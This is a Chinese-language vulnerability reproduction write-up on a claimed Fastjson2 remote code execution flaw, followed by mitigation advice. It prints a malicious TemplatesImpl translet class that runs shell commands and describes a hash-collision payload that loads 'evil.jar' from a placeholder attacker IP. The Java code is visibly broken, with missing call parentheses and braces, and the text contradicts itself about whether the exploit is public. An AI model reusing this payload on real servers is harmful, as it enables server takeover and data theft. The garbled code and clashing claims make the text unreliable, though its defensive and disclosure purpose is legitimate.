【漏洞复现】Fastjson2远程代码执行漏洞深度分析与完整复现

一、漏洞核心信息

漏洞原理深度解析

FNV-1a 哈希碰撞绕过白名单

Fastjson2 默认关闭 AutoType 时，仅通过@type字段的增量 FNV-1a 哈希值判断是否属于内置白名单类，未校验类名字符串明文。攻击者可构造哈希值与白名单类完全一致、但内容为恶意 URL 的类名，直接绕过类型校验。

Spring Boot 类加载器远程加载恶意类

哈希校验通过后，Fastjson2 会将完整类名字符串交给当前线程上下文类加载器处理；Spring Boot 的LaunchedURLClassLoader原生支持jar:http://协议的远程资源加载，攻击者可构造指向恶意 Jar 包的 URL 类名，直接加载远程恶意类执行任意代码。

无 Gadget 全版本通杀

该漏洞不依赖目标服务存在任何第三方危险类（如 JdbcRowSetImpl、TemplatesImpl 等），仅 Fastjson2 本身即可完成 RCE，绕过所有历史黑名单、WAF 安全规则，JDK8/11/17 全版本通杀。

二、公开稳定可复现 RCE（TemplatesImpl 利用链，全 JDK 通杀）

以下为已公开、可 100% 复现的 Fastjson2 RCE 漏洞，适用于 Fastjson2 ≤ 2.0.26（默认配置绕过 AutoType）或开启SupportAutoType的高版本，利用 JDK 内置类完成 RCE，不受高版本 JDK 的 JNDI 远程类加载限制。

影响范围

Fastjson2 ≤ 2.0.26（默认配置直接利用）

开启 AutoType 的所有 Fastjson2 版本

JDK 8/11/17 全版本通杀，无需第三方依赖

漏洞复现

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {

static {

try {

// ========== 要执行的系统命令 ==========

// Linux/Mac 示例：创建RCE成功标记文件

Runtime.getRuntime.exec(new String[]{"/bin/bash", "-c", "touch /tmp/fastjson2_pwned.txt && echo 'Fastjson2 RCE Success!' > /tmp/fastjson2_pwned.txt"});

// Windows 示例：

// Runtime.getRuntime.exec(new String[]{"cmd", "/c", "echo Fastjson2 RCE Success! > C:\fastjson2_pwned.txt"});

} catch (IOException e) {

e.printStackTrace;

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

目前该漏洞完整 EXP 尚未公开，根据已披露的技术细节，利用流程如下：

攻击者通过 FNV-1a 哈希碰撞算法，计算出与 Fastjson2 内置白名单类哈希完全相同的恶意字符串，格式为[白名单类前缀]!jar:http://攻击机IP/evil.jar!/Evil.class

该字符串通过默认关闭 AutoType 的哈希校验，进入类加载流程

Spring Boot 类加载器识别jar:http://协议，自动远程加载攻击者托管的恶意 Jar 包

实例化恶意类执行任意代码，全程无需开启 AutoType、无需第三方 Gadget

三、漏洞危害

服务器完全接管：攻击者可执行任意系统命令，获取服务器最高权限

敏感数据泄露：读取数据库账号密码、用户隐私数据、业务密钥、配置文件

内网横向渗透：以被控服务器为跳板，攻击整个内网业务系统、数据库、中间件

业务中断：勒索加密业务数据、删除核心文件、停止服务造成重大业务损失

资源滥用：被控服务器被植入挖矿程序、僵尸网络肉鸡，消耗服务器资源

四、紧急修复与防护方案

1. 立即执行临时缓解（100% 阻断漏洞）

在官方发布正式修复版本前，立即开启 Fastjson2 安全模式，完全禁用 AutoType 类型解析：

JVM 启动参数添加（推荐，无需修改业务代码）：

-Dfastjson2.parser.safeMode=true

# 兼容旧版本参数：

-Dfastjson.parser.safeMode=true

代码全局配置：

import com.alibaba.fastjson2.parser.ParserConfig;

// 全局开启安全模式

ParserConfig.getGlobalInstance.setSafeMode(true);

安全模式开启后，无论是否配置 AutoType，都会完全禁用@type类型解析，可 100% 阻断该漏洞以及所有历史 Fastjson 反序列化 RCE 漏洞。

2. 官方版本修复

关注官方 GitHub 仓库，待正式安全版本发布后，第一时间升级：

预计安全版本：Fastjson2 ≥ 2.0.63

3. 额外加固措施

WAF / 网关防护：添加规则拦截 JSON 请求体、URL 参数中包含@type字段的请求，覆盖 URL 编码、Unicode 编码、大小写混淆等绕过方式

输入白名单校验：对所有用户传入的 JSON 数据进行严格字段白名单校验，禁止传入未预期的字段

最小权限运行：Java 服务使用低权限用户运行，限制命令执行、敏感文件读写、网络出站权限

资产自查：立即扫描所有业务系统的 Fastjson 版本，排查公网开放的 JSON 接口，对使用 Fastjson2 ≤ 2.0.62 的系统立即添加安全模式参数

版本升级：仍在使用 Fastjson 1.x（1.2.83 及以下）的系统，尽快迁移到 Fastjson2 最新安全版本，1.x 版本已停止维护，存在多个已知未修复 RCE 漏洞。